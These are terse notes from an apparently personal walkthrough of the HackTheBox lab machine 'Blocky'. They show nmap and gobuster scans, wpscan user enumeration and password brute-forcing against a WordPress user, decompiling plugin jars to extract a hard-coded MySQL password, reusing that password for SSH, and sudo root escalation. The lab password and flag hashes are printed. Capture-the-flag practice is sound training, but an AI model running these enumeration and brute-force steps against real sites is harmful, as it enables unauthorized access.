Lin: Blocky

Attacking workpress

```
nmap -sC -sV -oA nmapscan 10.10.10.37
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-07 12:59 EST
Nmap scan report for 10.10.10.37
Host is up (0.23s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5a
22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp   open   http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft &#8211; Under Construction!
8192/tcp closed sophos
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.49 seconds
```

need to do a better scan because not all ports are known

```
gobuster dir -u http://10.10.10.37/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20| tee gobuster
```

for wordpress websites use wpscan

```
wpscan --url http://10.10.10.37/ --enumerate u | tee wpscan
```

```
Interesting Finding(s):

 Brute Forcing Author IDs -: |===================================================================================================================|

[i] User(s) Identified:

[+] notch
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.10.37/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
```

> **Login Error Messages (Aggressive Detection)**

we try to brute force on users

```
wpscan --url http://10.10.10.37/ --passwords /usr/share/wordlists/rockyou.txt
 --usernames notch
```

now we look at the /plugins and we find jar files
Download them

we unzip them and find some data inside

```
cat /root/htb/blocky/com/myfirstplugin/BlockyCore.class
```

use jad --> reverses jar files

found mysql password
8YsqfCTnvxAUeduzjNSXe22

ssh on notch
59fee0977fb60b8a0bc6e41e751f3cd5

run linux enum or

he is a sudoer

```
sudo -l
sudo -i
```

0a9694a5b4d272c694679f7860f1cd5f